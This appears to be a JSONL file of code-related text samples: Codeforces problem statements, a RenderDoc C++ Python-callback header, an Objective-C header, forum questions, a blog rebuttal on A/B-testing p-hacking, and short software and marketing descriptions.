{"text": "This is the solo version of the problem. Note that the solution of this problem may or may not share ideas with the solution of the game version. You can solve and get points for both versions independently.\n\nYou can make hacks only if both versions of the problem are solved.\n\nGiven an integer variable $$$x$$$ with the initial value of $$$n$$$. A single break operation consists of the following steps:\n\n- Choose a value $$$y$$$ such that $$$0 \\lt y \\lt x$$$ and $$$0 \\lt (x \\oplus y) \\lt x$$$.\n- Update $$$x$$$ by either setting $$$x = y$$$ or setting $$$x = x \\oplus y$$$.\n\nYou don't need to minimize the number of operations.\n\nHere $$$\\oplus$$$ denotes the bitwise XOR operation.", "source": "cpt_codeforces", "language": "en", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Pangea Software's Ultimate Game Programming Guide for Mac OS X\nby Brian Greenstone\nPublisher: Pangea Software, Inc 2004\nNumber of pages: 288\nBrian Greenstone reveals his Mac programming secrets in this must-have book for any aspiring game programmer. The text covers all of the nuances of various Mac OS technologies such as the OpenGL, HID Manager, OpenAL, Rendezvous, Core Graphics, Quicktime, Maya plug-ins, stereo 3D rendering, AltiVec optimizations, networking, copy-protection of games, marketing and sales strategies for self-publishers.\nHome page url\nDownload or read it online for free here:\nby Albert Sweigart\nA programming book for kids interested in learning to program their own computer games with python, a serious computer language which is used by professional programmers also. The book explains programming principles from the source code examples.\nby Michael Morrison - InformIT\nLearn how to use C++ code to create basic animated graphics in this chapter from Beginning Game Programming by Michael Morrison. Practical lesson based on C++ programming, the basics of drawing graphics using the Windows Graphics Device Interface.\nby Antonio Hernandez Bejarano - GitBook\nThis online book will introduce the main concepts required to write a 3D game using the LWJGL 3 library. LWJGL is a Java library that provides access to native APIs used in the development of graphics, audio and parallel computing applications.\nby Richard Fabian - dataorienteddesign.com\nA practical guide for game developers working to create triple A titles across multiple platforms, for independent developers trying to get the most out of target hardware, for anyone who develops cutting edge software in restrictive hardware.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 350, "token_count_with_eod": 351, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "$$$n$$$ people live on the coordinate line, the $$$i$$$-th one lives at the point $$$x_i$$$ ($$$1 \\le i \\le n$$$). They want to choose a position $$$x_0$$$ to meet. The $$$i$$$-th person will spend $$$|x_i - x_0|$$$ minutes to get to the meeting place. Also, the $$$i$$$-th person needs $$$t_i$$$ minutes to get dressed, so in total he or she needs $$$t_i + |x_i - x_0|$$$ minutes.\n\nHere $$$|y|$$$ denotes the absolute value of $$$y$$$.\n\nThese people ask you to find a position $$$x_0$$$ that minimizes the time in which all $$$n$$$ people can gather at the meeting place.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/******************************************************************************\n * The MIT License (MIT)\n *\n * Copyright (c) 2019-2022 Baldur Karlsson\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n ******************************************************************************/\n\n#pragma once\n\n#include <frameobject.h>\n#include <atomic>\n\n// this is defined elsewhere for managing the opaque global_handle object\nextern \"C\" PyThreadState *GetExecutingThreadState(PyObject *global_handle);\nextern \"C\" PyObject *GetCurrentGlobalHandle();\nextern \"C\" void HandleException(PyObject *global_handle);\nextern \"C\" bool IsThreadBlocking(PyObject *global_handle);\nextern \"C\" void SetThreadBlocking(PyObject *global_handle, bool block);\nextern \"C\" void QueueDecRef(PyObject *obj);\nextern \"C\" void ProcessDecRefQueue();\n\nstruct ExceptionData\n{\n  bool failFlag = false;\n  PyObject *exObj = NULL;\n  PyObject *valueObj = NULL;\n  PyObject *tracebackObj = NULL;\n};\n\nstruct ExceptionHandler\n{\n  struct CreateTag\n  {\n  };\n  explicit ExceptionHandler(CreateTag) : m_storage(new Storage) { m_storage->m_ref = 1; }\n  ~ExceptionHandler()\n  {\n    if(m_storage)\n    {\n      m_storage->m_ref--;\n      if(m_storage->m_ref == 0)\n        delete m_storage;\n    }\n    m_storage = NULL;\n  }\n  ExceptionHandler(const ExceptionHandler &o) : m_storage(o.m_storage) { m_storage->m_ref++; }\n  ExceptionHandler &operator=(const ExceptionHandler &o)\n  {\n    this->~ExceptionHandler();\n    m_storage = o.m_storage;\n    m_storage->m_ref++;\n    return *this;\n  }\n  ExceptionData &data() { return m_storage->data; }\n  const ExceptionData &data() const { return m_storage->data; }\n  operator bool() const { return m_storage->valid; }\n  void disconnect() { m_storage->valid = false; }\nprivate:\n  struct Storage\n  {\n    ExceptionData data;\n    bool valid = true;\n    std::atomic<int32_t> m_ref;\n  };\n  Storage *m_storage = NULL;\n};\n\nstruct StackExceptionHandler\n{\n  StackExceptionHandler() : m_Handler(ExceptionHandler::CreateTag()) {}\n  ~StackExceptionHandler() { m_Handler.disconnect(); }\n  ExceptionData &data() { return m_Handler.data(); }\n  operator ExceptionHandler() { return m_Handler; }\nprivate:\n  ExceptionHandler m_Handler;\n};\n\n// this function handles failures in callback functions. If we're synchronously calling the callback\n// from within an execute scope, then we can assign to failflag and let the error propagate upwards.\n// If we're not, then the callback is being executed on another thread with no knowledge of python,\n// so we need to use the global handle to try and emit the exception through the context. None of\n// this is multi-threaded because we're inside the GIL at all times\ninline void HandleCallbackFailure(PyObject *global_handle, ExceptionHandler exHandle)\n{\n  // if there's no global handle assume we are not running in the usual environment, so there are no\n  // external-to-python threads.\n  // Specifically this is when we're imported as a module directly into python with none of our\n  // harness, so this is running as pure glue code.\n  if(!global_handle)\n  {\n    if(exHandle)\n      exHandle.data().failFlag = true;\n    else\n      RENDERDOC_LogMessage(LogType::Error, \"QTRD\", __FILE__, __LINE__,\n                           \"Callback failure with no global handle and no valid parent scope!\");\n    return;\n  }\n\n  PyThreadState *current = PyGILState_GetThisThreadState();\n  PyThreadState *executing = GetExecutingThreadState(global_handle);\n\n  // we are executing synchronously and the exception handler is still valid, set the flag and\n  // return to the parent scope where it exists and will handle the exception\n  if(current == executing && exHandle)\n  {\n    exHandle.data().failFlag = true;\n    return;\n  }\n\n  // if we have the blocking flag set, then we may be on another thread but we can still propagate\n  // up the error\n  if(IsThreadBlocking(global_handle))\n  {\n    if(exHandle)\n    {\n      exHandle.data().failFlag = true;\n\n      // we need to rethrow the exception to that thread, so fetch (and clear it) on this thread.\n      //\n      // Note that the exception can only propagate up to one place. However since we know that\n      // python is inherently single threaded, so if we're doing this blocking funciton call on\n      // another thread then we *know* there isn't python further up the stack. Therefore we're safe\n      // to swallow the exception here (since there's nowhere for it to bubble up to anyway) and\n      // rethrow on the python thread.\n      PyErr_Fetch(&exHandle.data().exObj, &exHandle.data().valueObj, &exHandle.data().tracebackObj);\n    }\n    return;\n  }\n\n  // in this case we are executing asynchronously, and must handle the exception manually as there's\n  // nothing above us that knows about python exceptions\n  HandleException(global_handle);\n}\n\ntemplate <typename T>\ninline T get_return(const char *funcname, PyObject *result, PyObject *global_handle,\n                    ExceptionHandler exHandle)\n{\n  T val = T();\n\n  int res = ConvertFromPy(result, val);\n\n  if(!SWIG_IsOK(res))\n  {\n    HandleCallbackFailure(global_handle, exHandle);\n\n    PyErr_Format(PyExc_TypeError, \"Unexpected type for return value of callback in %s\", funcname);\n  }\n\n  Py_XDECREF(result);\n\n  return val;\n}\n\ntemplate <>\ninline void get_return(const char *funcname, PyObject *result, PyObject *global_handle,\n                       ExceptionHandler exHandle)\n{\n  Py_XDECREF(result);\n}\n\nstruct PyObjectRefCounter\n{\n  PyObjectRefCounter(PyObject *o) : obj(o) { Py_INCREF(obj); }\n  PyObjectRefCounter(const PyObjectRefCounter &o)\n  {\n    obj = o.obj;\n    Py_INCREF(obj);\n  }\n  ~PyObjectRefCounter()\n  {\n    // it may not be safe at the point this is destroyed to decref the object. For example if a\n    // python lambda is passed into a C++ invoke function, we will be holding the only reference to\n    // that lambda here when the async invoke completes and destroyed the std::function wrapping it.\n    // Without python executing we can't decref it to 0. Instead we queue the decref, and it will be\n    // done as soon as safely possible.\n    if(PyGILState_Check() == 0)\n      QueueDecRef(obj);\n    else\n      Py_DECREF(obj);\n  }\n  PyObject *obj;\n};\n\ntemplate <typename rettype, typename... paramTypes>\nstruct varfunc\n{\n  varfunc(const char *funcname, paramTypes... params)\n  {\n    args = PyTuple_New(sizeof...(paramTypes));\n\n    currentarg = 0;\n\n    // avoid unused parameter errors when calling a parameter-less function\n    (void)funcname;\n\n    using expand_type = int[];\n    (void)expand_type{0, (push_arg(funcname, params), 0)...};\n  }\n\n  template <typename T>\n  void push_arg(const char *funcname, const T &arg)\n  {\n    if(!args)\n      return;\n\n    PyObject *obj = ConvertToPy(arg);\n\n    if(!obj)\n    {\n      Py_DecRef(args);\n      args = NULL;\n\n      PyErr_Format(PyExc_TypeError, \"Unexpected type for arg %d of callback in %s\", currentarg + 1,\n                   funcname);\n\n      return;\n    }\n\n    PyTuple_SetItem(args, currentarg++, obj);\n  }\n\n  ~varfunc() { Py_XDECREF(args); }\n  rettype call(const char *funcname, PyObject *func, PyObject *global_handle,\n               ExceptionHandler exHandle)\n  {\n    if(!func || !PyCallable_Check(func) || !args)\n    {\n      HandleCallbackFailure(global_handle, exHandle);\n      return rettype();\n    }\n\n    ProcessDecRefQueue();\n\n    PyObject *result = PyObject_Call(func, args, 0);\n\n    Py_DECREF(args);\n\n    if(result == NULL)\n    {\n      HandleCallbackFailure(global_handle, exHandle);\n      return rettype();\n    }\n\n    return get_return<rettype>(funcname, result, global_handle, exHandle);\n  }\n\n  int currentarg = 0;\n  PyObject *args;\n};\n\nstruct ScopedFuncCall\n{\n  ScopedFuncCall(PyObject *h)\n  {\n    handle = h;\n    Py_XINCREF(handle);\n    gil = PyGILState_Ensure();\n  }\n\n  ~ScopedFuncCall()\n  {\n    Py_XDECREF(handle);\n    PyGILState_Release(gil);\n  }\n\n  PyObject *handle;\n  PyGILState_STATE gil;\n};\n\ntemplate <typename funcType>\nfuncType ConvertFunc(const char *funcname, PyObject *func, ExceptionHandler exHandle)\n{\n  // allow None to indicate no callback\n  if(func == Py_None)\n    return funcType();\n\n  // add a reference to the global object so it stays alive while we execute, in case this is an\n  // async call\n  PyObject *global_internal_handle = NULL;\n\n  // walk the frames until we find one with _renderdoc_internal. If we call a function in another\n  // module the globals may not have the entry, but the root level is expected to.\n  {\n    _frame *frame = PyEval_GetFrame();\n\n    while(frame)\n    {\n      global_internal_handle = PyDict_GetItemString(frame->f_globals, \"_renderdoc_internal\");\n\n      if(global_internal_handle)\n        break;\n      frame = frame->f_back;\n    }\n  }\n\n  if(!global_internal_handle)\n    global_internal_handle = GetCurrentGlobalHandle();\n\n  // process any dangling functions that may need to be cleared up\n  ProcessDecRefQueue();\n\n  // create a copy that will keep the function object alive as long as the lambda is\n  PyObjectRefCounter funcptr(func);\n\n  return [global_internal_handle, funcname, funcptr, exHandle](auto... param) {\n    ScopedFuncCall gil(global_internal_handle);\n\n    varfunc<typename funcType::result_type, decltype(param)...> f(funcname, param...);\n    return f.call(funcname, funcptr.obj, global_internal_handle, exHandle);\n  };\n}", "source": "cpt_stack_code", "language": "code", "token_count": 2629, "token_count_with_eod": 2630, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#import <Foundation/Foundation.h>\n\n@interface NSURL (OVDirectories)\n\n\n/** Returns an NSURL representing the first path found matching the specified constants or nil if none */\n+ (NSURL *)URLForDirectory:(NSSearchPathDirectory)directoryConstant domainMask:(NSSearchPathDomainMask)domainMask;\n\n/** Returns the application support directory with the app's bundle id appended.  As recommended in the Fil System Programming Guide */\n+ (NSURL *)URLForApplicationSupportDataDirectory;\n\n/** Append a subfolder/file path onto the app data directory */\n+ (NSURL *)URLForApplicationSupportWithAppendedPath:(NSString *)pathToAppend;\n\n/** Returns the user directory */\n+ (NSURL *)URLForUserDirectory;\n\n/** Append a subfolder/file path onto the user directory */\n+ (NSURL *)URLForUserDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n\n/** Returns the user's document directory */\n+ (NSURL *)URLForDocumentDirectory;\n\n/** Append a subfolder/file path onto the user's document directory */\n+ (NSURL *)URLForDocumentDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n/** Uses NSTemporaryDirectory() to get a URL to a temp folder */\n+ (NSURL *)URLForTemporaryDirectory;\n\n/** URL to a temporary subfolder and/or file */\n+ (NSURL *)URLForTemporaryDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 297, "token_count_with_eod": 298, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "sosley, I am getting the same warning: Warning: Missing argument 1 for BiblioCopy::validateData(), called in C:\\xampp\\htdocs\\openbiblio\\catalog\\upload_csv.php on line 275 and defined in C:\\xampp\\htdocs\\openbiblio\\classes\\BiblioCopy.php on line 43 It only happens when my .csv file includes a column for \"barCo\". When I remove that column, the file tests just fine. The problem is...\n2013-05-22 05:42:48 PDT by michaeldroush\nThanks. Yes, adding the neccesary .layout line in the report file was indeed all that was wrong. I'll need to make a note of that somewhere for the next time I can't remember! For copies.rpt I'm using the \"Copy Search (Extended)\" from 0.6.1 rather than the one included with 0.7.1.\n2013-05-06 20:05:44 PDT by https://www.google.com/accounts\n[excerpt from direct communication] OpenBiblio downloads are offered through SourceForge and these are mirrored automatically. http://sourceforge.net/apps/trac/sourceforge/wiki/Mirrors Help is still appreciated, especially for answering messages in the forums and improving the documentation in our wiki.\n2013-05-06 03:25:59 PDT by infinite-mnkz\nCorrect. An easy fix is overwriting the 0.7.1 .rpt files with the files from the 0.6.1. installation, except for the reports that were updated for 0.7.1 (copies.rpt, members.rpt, popularBiblios.rpt).\n2013-05-06 03:18:28 PDT by infinite-mnkz\nI think I may have found the problem. I had completely forgotten that the .rpt files need to be edited as well to include which printable layouts can be accessed after the report is run. Will try this.\n2013-05-05 19:48:26 PDT by https://www.google.com/accounts\nUpdate ... This is still stumping me. I thought for a second I had it figured out when I realized I had renamed my custom label file and then not changed the class name to match, but after editing that I still had no success. After I run a report, the only options for printing that will display under \"Report Results\" are from labels.php and list.php. Why can't I get anything else from...\n2013-05-05 17:42:42 PDT by https://www.google.com/accounts\nI just upgraded from 0.6.1 to 0.7.1 and now when I go to print labels from a report, no options are showing as before. I have a customized label file in ./layouts but neither that nor any of the included in ./layouts/default are showing in the menu. I sort of feel like I've been in this spot here before a year or two ago with the previous installation. Is there some configuration setting...\n2013-05-04 18:37:25 PDT by https://www.google.com/accounts\nGood afternoon, I have a home web server running Debian Stable with 250GB of disk space. I'm not going to be using all of that myself, so I'm wondering if the devs would mind if I use part of the drive to create a publically-accessible mirror of OpenBiblio. I have no knowledge of PHP or any kind of coding, so this seems to be the most obvious way I can help. I'm in southern California, if...\n2013-05-04 12:58:14 PDT by zlanvok\nHi, This is for a not for profit organisation looking at serving it's members with an online library facility. We are looking for some customisation in the area of look and feel and few other things. Any one interested, please mail me to bapajan at yahoo dot co dot uk Regards.\n2013-04-30 03:43:05 PDT by bapajan\nHello, Thank you for your support. I'm gonna try!\n2013-04-22 02:15:37 PDT by llimoner", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Windows Authentication in DTS package help\nPosted on 2007-07-30\nI have a DTS package on a SQL server scheduled to run as a Job. This package connects to a remote SQL server to grab data and update local tables. In the past, we had a SQL login for the remote server, and the connection in the DTS was configured using \"SQL Server Authentication\" with that ID.\nDue to security requirements, no more SQL logins are allowed, and all connections have to be made using Windows Authentication. We created a new domain acccount and granted the necessary access on the remote and local servers.\nThe question is: How can I setup my DTS or Job to connect to that remote server using that domain ID? Changing the identity of my local SQL Agent would create all sorts of problems and require other changes that I prefer not to make. Also, in the future, I might need a different ID to connect to other remote databases. Is this possible? Please help.\nThanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 213, "token_count_with_eod": 214, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Yesterday my phone started buzzing more than usual with Twitter updates. Turns out our working paper on A/B testing has attracted the attention of a few notable academics on Twitter. Again.\nI'm not sure what prompted this new wave of attention. Perhaps it was the fact we uploaded a new version to SSRN. Perhaps it is those end of year summaries I see people making.\nOne tweet, however, from Ron Kohavi, Microsoft VP of Analysis and Experimentation, was interesting:\nClaim of widespread p-hacking sensationalized in paper suffering lack of external validity on two axes: skew due to massive selection bias and time bias.\n— Ronny Kohavi (@ronnyk) December 16, 2018\nYou can see the linked(in) post here: https://www.linkedin.com/pulse/p-hacking-ab-testing-sensationalized-ronny-kohavi/\n\"Oh, dear\", I was thinking to myself. Kohavi is one of the stars of the A/B testing world. What's up with that?\nI will address Kohavi's points below, to the best of my understanding of the issues he raised. I am not sure what prompted this \"sensational tweet\", but I very much welcome feedback about our paper. I hear that email still works as a technology, though.\nTL;DR: Don't be that person that doesn't read an entire post because it'll take you 3 minutes. You'll end up like those who make judgement calls about papers based on Tweets by other people:\n1. \"Selection bias\" - Kohavi says \"Optimizely’s product was designed for the uninformed, so there is massive selection bias.\" By \"selection bias\" Kohavi means that the sample of people in our data who use the platform to run experiments is not representative of the behavior of \"normal\" (\"informed\") experimenters.\nThe fact is that Optimizely is the largest (as far as I can tell) 3rd party A/B testing provider, which is why we worked very hard to convince them to share data with us. The median experimenter in our dataset had run 184 experiments before we collected our data, and there are over 900 of them in our dataset. The platform had over 9,000 experiments started on it in the data collection window. This is more than 6 times higher than what Kohavi mentions they ran on Bing in roughly the same time period (though I am sure Bing.com experiments are larger in sample size).\nA study that analyzes experimenter behavior in the wild, on a widely used A/B testing platform, has a lot of external validity about how businesses behave when they experiment. The findings might not apply to Microsoft, or Facebook, but these companies do not need our help in analyzing their internal experiments. In contrast, deriving conclusions from studies about experiments that are run internally at Microsoft or Facebook probably apply less to a \"normal\" business.\n2. \"Selection bias\" (2) - Even \"uninformed\" experimenters should have noticed if, experiment after experiment, their decisions result in lower profit. This is basically the rational decision maker assumption we often make in our analysis. We wanted to test it, and we found interesting results.\n3. \"Selection bias\" (3) - Kohavi claims (or assumes) that informed decision makers do not make such mistakes.\nIn contrast to just claiming otherwise, our paper actually cites many references that show this is incorrect (medical doctors, informed academics and even statisticians make mistakes in interpreting results).\nSo to summarize - is our dataset representative? It is, if you're the type of A/B tester that runs experiments similar to those used on the platform we got the data from. Luckily, it applies to many if not most businesses.\n4. \"Time Bias\" - Kohavi says \"The paper’s external validity across time is therefore weak: most businesses who use A/B testing in the last 2-3 years are aware of the issue, and Optimizely's software improved.\"\nI am not sure where the \"most\" comes from in this sentence and what data supports this claim. Many businesses I encounter (and I encounter a wide variety of businesses as a business school professor) are not aware of this issue, or are aware but not sure of the details, or are not sure how to resolve it, etc.\nOptimizely's software has indeed improved, but was the problem resolved? Well, it depends on what problem we're talking about.\nFor this, I recommend that you read the paper and not just the abstract, but this is the gist of it: Optimizely's software in 2014 notified users they can stop an A/B test when the confidence metric was above 95% or below 5%.\nHowever, and this is a big HOWEVER, this is not where we found experimenters stopped their experiments. Many of them stopped when they reached 90% confidence. So the problem that people might have tried to solve since 2014 might not have been the relevant problem to solve.\nWhen I invest time and money in solving a problem, I prefer to know that the problem exists, and what the negative consequences of the problem are. This is what our paper tries to achieve. We simply ask: \"Was there a problem, and if there was, how prevalent was it and what consequences did it have\".\nWe then just report our findings (and how we found them). It would also have been interesting if we found no p-hacking and low FDRs, and it was also interesting when we found there was p-hacking and that it did inflate the FDR. Both findings are interesting.\n5. \"Sensationalized\" - Kohavi uses words such as \"widespread\", \"sensationalized\", \"massive\" and \"bias\" in his text. By using \"bias\" he actually hints that our results are biased (although what he actually says is that the results are probably correct, just not generalizable).\nThe paper's abstract is pretty straightforward. It describes the findings of the paper (like any other abstract), and does not use any superlatives. We use very measured language in the paper, and our conclusions very carefully explain what we believe are limitations to conclusions from the data. We have never made any attempt to \"sensationalize\" the paper. We presented it at conferences, submitted it to peer review, did a standard Wharton podcast about it, etc. Nothing fancy or unique.\nSo on this point, I don't have a good answer. I'm not sure why Kohavi thinks our paper is sensational. Maybe he means \"sensationally interesting\"? 🙂\nTo summarize, what do we actually do in the paper? We test a tradeoff.\nOn one hand, experimenters should want to avoid false discoveries. It will lower their profits. They should notice it pretty quickly if they run many experiments. On the other hand, the platform was designed in a way that allows naive experimenters to make mistakes.\nWe went about seeing which one prevails. It turns out that mistakes prevailed (sometimes) but not where expected, and not in the form assumed.\nIsn't this an interesting finding?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1496, "token_count_with_eod": 1497, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am looking for the answer too? Can anyone help?\nUniversal Flash Storage (UFS) Application development\nI would like to write an application to test memory transfers for my UFS device using WINAPI UFS host controller.\nAre there any sample application or guidelines provided by Microsoft on how to implement the drivers/ applications for UFS ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 69, "token_count_with_eod": 70, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Reference architecture for deploying Nginx on ECS, both as a basic static resource server, and as a reverse proxy in front of a dynamic application server.\nNGINX is a high performance HTTP server and reverse proxy which has achieved significant adoption because of its asynchronous event driven architecture which allows it to serve thousands of concurrent requests with very low memory footprint.\nAmazon EC2 Container Service (ECS) is a highly scalable, high performance container management service that supports Docker containers and allows you to easily run applications on a managed cluster of Amazon EC2 instances.\nThis reference architecture shows how to run NGINX containers on a fleet of instances using ECS. You can deploy Nginx as a basic static HTTP file server. Or you can deploy an Nginx reverse proxy container in front of an application container.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 164, "token_count_with_eod": 165, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Deploy kaleo-web\n- Set Single approver workflow for users\n- Deploy Social Office\n- Create a SO site\n- Invite a member by e-mail\n- User gets the invitation by e-mail\n- User follows the registration link and creates an account\n- Admin approves the registration and adds the user to SO\n- User receives a mail about the registration\n- User logs in\nUser doesn't get a notification about the invitation to the site.\nUser gets a notification about the invitation to the site.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "cclite is a lightweight implementation of a community currency registry for local exchange trading systems (LETS) and other alternative money systems. It uses multi-registry, multi-currency, Web-services-based (SOAP) transactions, and is templated to give multi-lingual properties. As of 2009, it has an SMS interface and versions for Debian, cpanel-based, Fedora and Windows XP. As of 2012 it has decimal currencies, templates for many languages, and a REST-style interface for integration with CMS and social networking software.\nThe RepairsLab system allows you to manage the entry and exit of equipment repair in a small workshop for repairs or service center. The application allows the printing of a \"Repairs sheet\" for each device and manages the state of repair. Inside the Repairs ticket, you can enter the features of the delivered and the state of repair. The system provides management of different master data for definition of states of repair, customers, types of equipment, trademarks, and models. You can print a paper \"Repairs sheet\" in duplicate to store paper and as a delivery receipt for the customer.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 234, "token_count_with_eod": 235, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Adam Devine is the CMO of WorkFusion, architects of AI-powered products that automate customer service functions as well as other business processes. According to Devine, “Adding natural language processes and machine learning changes everything, giving virtual customer assistants (VCAs) the ability to determine not just what rules-based action to take based on a word, but to understand the meaning of words in different combinations, ask questions to create context and intent, and actually do something for the customer.”\nchatterpal coupon code\nIts Alive helps you make chatbots for tour Facebook page. It enables you to engage with your Facebook community 24×7 with automated content to improve your response time significantly. Chatbots can be used to drive conversations. It can handle frequently asked questions directly through the chatbots by detecting keywords in Facebook Messenger. And it helps you broadcast your messages.\nAre you tired of using a traditional vacuum? Or tired of constantly sweeping and dusting to keep your floors clean and clear of dust, dirt, hair, and dander? It’s time to throw out the old ways and embrace the new. And the future is… robot vacuums! In this review of the CleanBot Robot Cleaner, we’ll share how it can help your lifestyle to become more carefree, and – more importantly – cleaner! Use it at home or in the office. There are so many ways it can make things easier. For instance, if you have pets, it’s a great way to stay on top of the dander. Especially if you or a loved one suffers from animal allergens. The automated CleanBot will transform the way you do your chores and keep things clean. If you already know you want the CleanBot Vacuum for your robot vacuum needs, tap any button here now!\nChatfuel helps you make a Facebook chatbot without coding. You can use the editing tools to design chatbots. And you can set up conversational rules in the dashboard. The bot will use NLP to understand and recognize phrases, and will send users predefined answers. You can build a chatbot to serve as a customer service advisor, an event assistant, or a personal avatar. Chatfuel’s analytics technology provides insights about the performance of the bot.\nPros: Building a bot is really simple with their pre-made templates and a drag and drop flow diagram. We have been using Activechat to automate skills aka flows for different visitors (leads and vendors) and touchpoints through different growth tools (referral path to trigger skills). Broadcasting to 'tagged' subscribers is also straightforward. A real game changer.0\nChatterbot Platform or Chatbot Software are computer program which are designed to simulate an intelligent conversation with one or more human users via auditory or textual methods, for engaging in conversation. Chatterbot are text based conversation agent which can interact with human users through some medium, such as an instant message service. The primary aim of such simulation has been to fool the user into thinking that the program's output has been produced by a human. Programs doing this are referred to as Artificial Conversational Entities, talk bots, chatterboxes, chatter robot, chatterbot, chatbot, or chat bot. Some of the chatterbots use natural language processing systems, and some others scan for keywords within the input and respond with a reply with the most matching keywords, or similar wording pattern, from a textual database. Chatterbots are often integrated into dialog systems for various practical applications such as offline help, personalised service, or information acquisition.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 711, "token_count_with_eod": 712, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When I started using Mozilla, I thought the sidebar's concept was very cool. I thought it would be even better if I could add RSS Sources to it. After some searching, I found DJ Adams mysidebar.pl. While DJ's work seemed like a fine start, it didn't work out that well for me. So I decided to take his lead and create my own incarnation of his work. The main component is sidebar.pl.\nIf you just want to cut to the chase and add a RSS Source to your Mozilla Sidebar, you can go to my Mozilla Sidebar Installer.\nTo truely utilize any of the code linked on this page you should be using Mozilla, the Netscape 6 Tech Preview, or the Neoplanet Netscape 6 Tech Preview. You can use the scripts hosted on my server by just installing a new sidebar with the Mozilla Sidebar Installer. Or you can download the scripts below and install them on your own server.\nDJ has done some addition work on Mozilla RSS Sidebars recently (8/29/02). You can read about it here. One aspect of what he has done involves standardising a method of specifying the location of the RSS feed for a particular source. This is done through <link> tags, in the format specified here. DJ's new work is an excellent alternative/addition to what is available here.\nsidebar.pl is a RSS to HTML translator tuned for Mozilla sidebars. It could be used by itself to display RSS sources on a webpage, but there are better tools for that (see my RSS page).\nsidebar-inst.pl installs RSS Sources provided by the sidebar.pl script into Mozilla.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 334, "token_count_with_eod": 335, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We develop robust technology solutions tailored to your business needs. If you need technology consultation, we will work with you to improve your processes and empower you to run your business without having to worry about technology.\nWe also specialize in creating software solutions built upon open source technology using agile methods. Creating functional software is much more than writing code. We can help you in any part of the process: requirements & design, construction, testing, and maintenance.\nRikuni means \"I have seen\" in Quechua, the language of the Incas. We believe software should be built using the Inca's core values of strength in design and beauty.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given two strings $$$s$$$ and $$$t$$$ consisting of lowercase Latin letters. Also you have a string $$$z$$$ which is initially empty. You want string $$$z$$$ to be equal to string $$$t$$$. You can perform the following operation to achieve this: append any subsequence of $$$s$$$ at the end of string $$$z$$$. A subsequence is a sequence that can be derived from the given sequence by deleting zero or more elements without changing the order of the remaining elements. For example, if $$$z = ac$$$, $$$s = abcde$$$, you may turn $$$z$$$ into following strings in one operation:\n\n1. $$$z = acace$$$ (if we choose subsequence $$$ace$$$);\n2. $$$z = acbcd$$$ (if we choose subsequence $$$bcd$$$);\n3. $$$z = acbce$$$ (if we choose subsequence $$$bce$$$).\n\nNote that after this operation string $$$s$$$ doesn't change.\n\nCalculate the minimum number of such operations to turn string $$$z$$$ into string $$$t$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_codeforces"}
